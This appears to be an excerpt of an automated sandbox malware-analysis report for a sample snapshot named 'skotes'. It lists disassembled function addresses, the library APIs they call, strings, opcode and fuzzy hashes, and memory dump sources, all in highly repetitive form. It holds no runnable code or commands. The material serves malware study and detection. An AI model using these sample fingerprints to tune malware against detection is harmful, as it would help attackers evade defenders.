Opcode Fuzzy Hash: 78626899a5355d54cebd972257c4fe11a62e5b9b35cad6e569e451aebe2f71d0
Instruction Fuzzy Hash: 6A510671D142489BDB24FB68CD497DEB774EF45310F9042A8E408A73D1EF345E848BA1

Function 009BB04B Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 33
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000,2666364F,?,O6f&,0099D3FC,O6f&,?,00997A8B,?,?,?,?,?,?,00987465,?), ref: 009BB07E

Strings

O6f&, xrefs: 009BB04D

Memory Dump Source

Source File: 00000007.00000002.3301270870.0000000000981000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00980000, based on PE: true

Associated: 00000007.00000002.3301040973.0000000000980000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3301270870.00000000009E2000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3302052223.00000000009E9000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3302264831.00000000009EB000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3302264831.0000000000B61000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3302264831.0000000000C44000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3302264831.0000000000C70000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3302264831.0000000000C79000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3302264831.0000000000C87000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3306909037.0000000000C88000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3308209764.0000000000E1B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3308421302.0000000000E1C000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3308689326.0000000000E1D000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3308914631.0000000000E1E000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_980000_skotes.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID: O6f&
API String ID: 1279760036-595543945
Opcode ID: 04208a3606993fee62ee93f5e4fb7b6aa012f5490148a5f44e289567d98d4f78
Instruction ID: 2ed92709a86c2deca81c63ef89e213723f91f502485a12db9eb271624b4e71c9
Opcode Fuzzy Hash: 04208a3606993fee62ee93f5e4fb7b6aa012f5490148a5f44e289567d98d4f78
Instruction Fuzzy Hash: 0EE06D361562269AEA3132668F41BFBB64C9B823F0F151610EE69961D4EBA0DC0082E0

Function 05360ADB Relevance: .1, Instructions: 83COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3339110790.0000000005360000.00000040.00001000.00020000.00000000.sdmp, Offset: 05360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_5360000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8b7d1fbfd0bf036d5dc261493a5a6001dd270d9a73292a0287f79aee39fe454d
Instruction ID: 6221220bb1436379db91b9b69ec9598ecdfaaae4bf341f860c8d2d81094e5e51
Opcode Fuzzy Hash: 8b7d1fbfd0bf036d5dc261493a5a6001dd270d9a73292a0287f79aee39fe454d
Instruction Fuzzy Hash: 3E0108E711D150BE614AC4566B6FAFA2B9FE5D6335330C55FF003CAD0EC2898A8A5131

Function 05360B4F Relevance: .1, Instructions: 69COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3339110790.0000000005360000.00000040.00001000.00020000.00000000.sdmp, Offset: 05360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_5360000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3f946ea3e97f900f375fe7087e20833b6069da6856a987469ce90f678201946f
Instruction ID: e235f302d57f416598be23234e7bb7523bd48b07bb6eb216176fc211c278a5d1
Opcode Fuzzy Hash: 3f946ea3e97f900f375fe7087e20833b6069da6856a987469ce90f678201946f
Instruction Fuzzy Hash: 130124A711D140FDA24AC5526B6FAFA1F9EE6D2335330C85FF442CAD0EC14D4A8A6231

Function 05360B9D Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3339110790.0000000005360000.00000040.00001000.00020000.00000000.sdmp, Offset: 05360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_5360000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b110d1caa1885c499e0f63f337b54a226107ca4f997552d7e80fb0de70f310f8
Instruction ID: 6b2a2bb5396f7a529254db5dbbde9e2e4aa6e689ba395cee4d6902b47fb3db8d
Opcode Fuzzy Hash: b110d1caa1885c499e0f63f337b54a226107ca4f997552d7e80fb0de70f310f8
Instruction Fuzzy Hash: 80F0A7AB11D110EEA149C142A73EBFA52EEE2D1730730C91FF003C9C09C24C86992036

Function 05360BB0 Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3339110790.0000000005360000.00000040.00001000.00020000.00000000.sdmp, Offset: 05360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_5360000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c4e39e30916c88414a54c67c0fdff460c6c402aa4f48b675c58d79194f61b134
Instruction ID: b9fcaa5507a9792c94b24cf63a13de5d1d1fe81f307c920d204134daa9e3055e
Opcode Fuzzy Hash: c4e39e30916c88414a54c67c0fdff460c6c402aa4f48b675c58d79194f61b134
Instruction Fuzzy Hash: CFE06DAB16D150EDA109C4426B7AAFA97DEE2D5730B31C91FF007C8C09C24C8A996035

Function 05360BDE Relevance: .0, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3339110790.0000000005360000.00000040.00001000.00020000.00000000.sdmp, Offset: 05360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_5360000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c3f7e4da9a681dbe1bf587cea113e91f4418c266e8f56c801ee102d7853cf277
Instruction ID: 12bb31ebf24b04a676c902496691c02700129eb866fc29ee646a009ea4782d3a
Opcode Fuzzy Hash: c3f7e4da9a681dbe1bf587cea113e91f4418c266e8f56c801ee102d7853cf277
Instruction Fuzzy Hash: 9DE0129A008050ADA005C0166F7ABF7479ED3D5B30730C91AF407CA94A925906992035

Non-executed Functions

Function 0099CBEA Relevance: 1.5, APIs: 1, Instructions: 16timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimePreciseAsFileTime.KERNEL32(?,0099CF52,?,?,?,?,0099CF87,?,?,?,?,?,?,0099C4FD,?,00000001), ref: 0099CC03

Memory Dump Source

Source File: 00000007.00000002.3301270870.0000000000981000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00980000, based on PE: true

Associated: 00000007.00000002.3301040973.0000000000980000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3301270870.00000000009E2000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3302052223.00000000009E9000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3302264831.00000000009EB000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3302264831.0000000000B61000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3302264831.0000000000C44000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3302264831.0000000000C70000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3302264831.0000000000C79000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3302264831.0000000000C87000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3306909037.0000000000C88000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3308209764.0000000000E1B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3308421302.0000000000E1C000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3308689326.0000000000E1D000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3308914631.0000000000E1E000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_980000_skotes.jbxd

Yara matches

Similarity

API ID: Time$FilePreciseSystem
String ID:
API String ID: 1802150274-0
Opcode ID: 8aa70f0582eab5b8ba394b0e6026060a56a4f503fc992adaa9263df762368cef
Instruction ID: d4cda7b5a20e4fb4c05fd0b62fb879b6f73d7527343cbca9f30f6b0e682cb9c3
Opcode Fuzzy Hash: 8aa70f0582eab5b8ba394b0e6026060a56a4f503fc992adaa9263df762368cef
Instruction Fuzzy Hash: 94D0223264B438A38E092B98EC088ACBF8CCA00B143000112EE0817120CA616C80ABE8

Function 009B652B Relevance: .0, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3301270870.0000000000981000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00980000, based on PE: true

Associated: 00000007.00000002.3301040973.0000000000980000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3301270870.00000000009E2000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3302052223.00000000009E9000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3302264831.00000000009EB000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3302264831.0000000000B61000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3302264831.0000000000C44000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3302264831.0000000000C70000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3302264831.0000000000C79000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3302264831.0000000000C87000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3306909037.0000000000C88000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3308209764.0000000000E1B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3308421302.0000000000E1C000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3308689326.0000000000E1D000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3308914631.0000000000E1E000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_980000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9995e0502fedb82f36745d84fbec75ddb1748c36de195e114a6d21ea1e82167e
Instruction ID: 868ed8cd56cef757f05ada9214ee008a8ddbf406d68cb3d8366b9dddf20fc816
Opcode Fuzzy Hash: 9995e0502fedb82f36745d84fbec75ddb1748c36de195e114a6d21ea1e82167e
Instruction Fuzzy Hash: 6BE08C30102648AECE3A7B18CA4DB8C3B69EB51BA5F000801F81846222CB69FD91CA80

Function 009BA302 Relevance: .0, Instructions: 22COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3301270870.0000000000981000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00980000, based on PE: true

Associated: 00000007.00000002.3301040973.0000000000980000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3301270870.00000000009E2000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3302052223.00000000009E9000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3302264831.00000000009EB000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3302264831.0000000000B61000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3302264831.0000000000C44000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3302264831.0000000000C70000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3302264831.0000000000C79000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3302264831.0000000000C87000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3306909037.0000000000C88000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3308209764.0000000000E1B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3308421302.0000000000E1C000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3308689326.0000000000E1D000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3308914631.0000000000E1E000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_980000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6d3f81bf9612d8360929edb31d8ce1375adbaa32f41a7c69d112e79a3c508fb
Instruction ID: 7f12474cbd1e1314d419b953b0226e3fa54d69f884f848daee40a1709b15a3d5
Opcode Fuzzy Hash: e6d3f81bf9612d8360929edb31d8ce1375adbaa32f41a7c69d112e79a3c508fb
Instruction Fuzzy Hash: DCE08C32921228EBCB14DBD8CA04ACAF3ECEB89B60B65009AF501D3150C270DE00C7D0

Function 00982EC0 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 272threadCOMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00982F5F
GetCurrentThreadId.KERNEL32 ref: 00982F7E
__Mtx_unlock.LIBCPMT ref: 00982FCC
__Cnd_broadcast.LIBCPMT ref: 00982FE3
__Mtx_unlock.LIBCPMT ref: 009830F5
GetCurrentThreadId.KERNEL32 ref: 00983132
__Mtx_unlock.LIBCPMT ref: 0098319B

Strings

O6f&, xrefs: 00982ED7, 00983054, 00983203

Memory Dump Source

Source File: 00000007.00000002.3301270870.0000000000981000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00980000, based on PE: true

Associated: 00000007.00000002.3301040973.0000000000980000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3301270870.00000000009E2000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3302052223.00000000009E9000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3302264831.00000000009EB000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3302264831.0000000000B61000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3302264831.0000000000C44000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3302264831.0000000000C70000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3302264831.0000000000C79000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3302264831.0000000000C87000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3306909037.0000000000C88000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3308209764.0000000000E1B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3308421302.0000000000E1C000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3308689326.0000000000E1D000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3308914631.0000000000E1E000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_980000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$CurrentThread$Cnd_broadcast
String ID: O6f&
API String ID: 57040152-595543945
Opcode ID: c9c9ed2311ee58b6bcf70ec724d766c300282100fbd3654e19f1c91c73e8c2ed
Instruction ID: 1f50ab28cab88c1fa8577acab056e802f5ca5c3ddfee9dedfd53113949eb93c9
Opcode Fuzzy Hash: c9c9ed2311ee58b6bcf70ec724d766c300282100fbd3654e19f1c91c73e8c2ed
Instruction Fuzzy Hash: 59A1C1B1A05205AFDF10EF68CD48B5AB7B8FF55B24F04852AE815D7381EB35EA04CB91

Function 009B4840 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 148COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 009B4877
___except_validate_context_record.LIBVCRUNTIME ref: 009B487F
_ValidateLocalCookies.LIBCMT ref: 009B4908
__IsNonwritableInCurrentImage.LIBCMT ref: 009B4933
_ValidateLocalCookies.LIBCMT ref: 009B4988

Strings

csm, xrefs: 009B491D
O6f&, xrefs: 009B48F2, 009B496F

Memory Dump Source

Source File: 00000007.00000002.3301270870.0000000000981000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00980000, based on PE: true

Associated: 00000007.00000002.3301040973.0000000000980000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3301270870.00000000009E2000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3302052223.00000000009E9000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3302264831.00000000009EB000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3302264831.0000000000B61000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3302264831.0000000000C44000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3302264831.0000000000C70000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3302264831.0000000000C79000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3302264831.0000000000C87000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3306909037.0000000000C88000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3308209764.0000000000E1B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3308421302.0000000000E1C000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3308689326.0000000000E1D000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3308914631.0000000000E1E000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_980000_skotes.jbxd

Yara matches

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: O6f&$csm
API String ID: 1170836740-3978625572
Opcode ID: 882e4782245f8883c17f833eefc706ea59036aa413e92594761b6fcf289dfdd5
Instruction ID: d232fedb4d6bea0b12770d0ed5daa2cf89a9aa92f6a1abea1d5a31c66a2a8ef1
Opcode Fuzzy Hash: 882e4782245f8883c17f833eefc706ea59036aa413e92594761b6fcf289dfdd5
Instruction Fuzzy Hash: 9951C334A00248ABCF10DF68D981BEEBBB9AF85738F148155E8189B353D732DA15DB91

Function 00998F40 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 197COMMON

Download Yara Rule

Strings

O6f&, xrefs: 0099901C
O6f&, xrefs: 00998F49, 00999065
O6f&, xrefs: 00998F46
O6f&, xrefs: 00982480

Memory Dump Source

Source File: 00000007.00000002.3301270870.0000000000981000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00980000, based on PE: true

Associated: 00000007.00000002.3301040973.0000000000980000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3301270870.00000000009E2000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3302052223.00000000009E9000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3302264831.00000000009EB000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3302264831.0000000000B61000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3302264831.0000000000C44000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3302264831.0000000000C70000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3302264831.0000000000C79000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3302264831.0000000000C87000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3306909037.0000000000C88000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3308209764.0000000000E1B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3308421302.0000000000E1C000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3308689326.0000000000E1D000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3308914631.0000000000E1E000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_980000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID: O6f&$O6f&$O6f&$O6f&
API String ID: 0-702612716
Opcode ID: 95acd592efe38ffee43b50c10c234b86025cecc9ec250182fdbc37cab5fdd7d5
Instruction ID: ace51062f5c25bcb7b7b08e074ce979cee9a6c4b10660e537fa777c2ba606153
Opcode Fuzzy Hash: 95acd592efe38ffee43b50c10c234b86025cecc9ec250182fdbc37cab5fdd7d5
Instruction Fuzzy Hash: 4A510872A001199BCF14EFACDC81AAEB7A9EF85350B14466DF915DB341E731EE108BE1

Function 0099BB72 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 0099BBCA
__Xtime_diff_to_millis2.LIBCPMT ref: 0099BBE4
_xtime_get.LIBCPMT ref: 0099BC07
__Xtime_diff_to_millis2.LIBCPMT ref: 0099BC13

Strings

O6f&, xrefs: 0099BB78

Memory Dump Source

Source File: 00000007.00000002.3301270870.0000000000981000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00980000, based on PE: true

Associated: 00000007.00000002.3301040973.0000000000980000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3301270870.00000000009E2000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3302052223.00000000009E9000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3302264831.00000000009EB000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3302264831.0000000000B61000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3302264831.0000000000C44000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3302264831.0000000000C70000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3302264831.0000000000C79000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3302264831.0000000000C87000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3306909037.0000000000C88000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3308209764.0000000000E1B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3308421302.0000000000E1C000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3308689326.0000000000E1D000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3308914631.0000000000E1E000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_980000_skotes.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID: O6f&
API String ID: 531285432-595543945
Opcode ID: 65ef9455fbbb0c516c1766e0cbe66cedca370593bc0d694414d4722bad93be95
Instruction ID: ce50796f893fc3cef1a264536921e6696ea11510d764d28d283b37e91bc46918
Opcode Fuzzy Hash: 65ef9455fbbb0c516c1766e0cbe66cedca370593bc0d694414d4722bad93be95
Instruction Fuzzy Hash: BA2132B1A01119AFDF00EFA8DD85ABEB7B9EF48710F100015F501B7291DB34AD419BA0

Function 009C4C14 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 199COMMONLIBRARYCODE

Download Yara Rule

APIs

__freea.LIBCMT ref: 009C4DCA

Part of subcall function 009BB04B: RtlAllocateHeap.NTDLL(00000000,2666364F,?,O6f&,0099D3FC,O6f&,?,00997A8B,?,?,?,?,?,?,00987465,?), ref: 009BB07E

__freea.LIBCMT ref: 009C4DD3
__freea.LIBCMT ref: 009C4DF6

Strings

O6f&, xrefs: 009C4C1B

Memory Dump Source

Source File: 00000007.00000002.3301270870.0000000000981000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00980000, based on PE: true

Associated: 00000007.00000002.3301040973.0000000000980000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3301270870.00000000009E2000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3302052223.00000000009E9000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3302264831.00000000009EB000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3302264831.0000000000B61000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3302264831.0000000000C44000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3302264831.0000000000C70000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3302264831.0000000000C79000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3302264831.0000000000C87000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3306909037.0000000000C88000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3308209764.0000000000E1B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3308421302.0000000000E1C000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3308689326.0000000000E1D000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3308914631.0000000000E1E000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_980000_skotes.jbxd

Yara matches

Similarity

API ID: __freea$AllocateHeap
String ID: O6f&
API String ID: 2243444508-595543945
Opcode ID: c6e58aa3d7f7bf845ad3bb718e9c3af9052bd13d1bfd408835f014621ae77901
Instruction ID: 8590616a2fa00457540d364fd9b80a93c8162620e7bddf5384bb43ad6184bbe5
Opcode Fuzzy Hash: c6e58aa3d7f7bf845ad3bb718e9c3af9052bd13d1bfd408835f014621ae77901
Instruction Fuzzy Hash: 0351E172B00206ABEB21AF64DC51FFB3BADDB80760F15052DFD05A7191EB74EC1086A2

Function 0099C452 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 144COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 0099C4F8
__Xtime_diff_to_millis2.LIBCPMT ref: 0099C542
_xtime_get.LIBCPMT ref: 0099C561

Strings

O6f&, xrefs: 0099C458

Memory Dump Source

Source File: 00000007.00000002.3301270870.0000000000981000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00980000, based on PE: true

Associated: 00000007.00000002.3301040973.0000000000980000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3301270870.00000000009E2000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3302052223.00000000009E9000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3302264831.00000000009EB000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3302264831.0000000000B61000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3302264831.0000000000C44000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3302264831.0000000000C70000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3302264831.0000000000C79000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3302264831.0000000000C87000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3306909037.0000000000C88000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3308209764.0000000000E1B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3308421302.0000000000E1C000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3308689326.0000000000E1D000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3308914631.0000000000E1E000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_980000_skotes.jbxd

Yara matches

Similarity

API ID: _xtime_get$Xtime_diff_to_millis2
String ID: O6f&
API String ID: 2858396081-595543945
Opcode ID: 1b383b6e8ee712632426b775e193b65cfe4af2e9b03757680482d20c62dff4ec
Instruction ID: 69594cdef620d37edbea244db7e8a9b2e6000ca2958a904bf3a67b3ee6784bde
Opcode Fuzzy Hash: 1b383b6e8ee712632426b775e193b65cfe4af2e9b03757680482d20c62dff4ec
Instruction Fuzzy Hash: 675160B1A04616CBDF20DF28C9D196977A8EF44710B26845AE806AB295D730FD41CB66

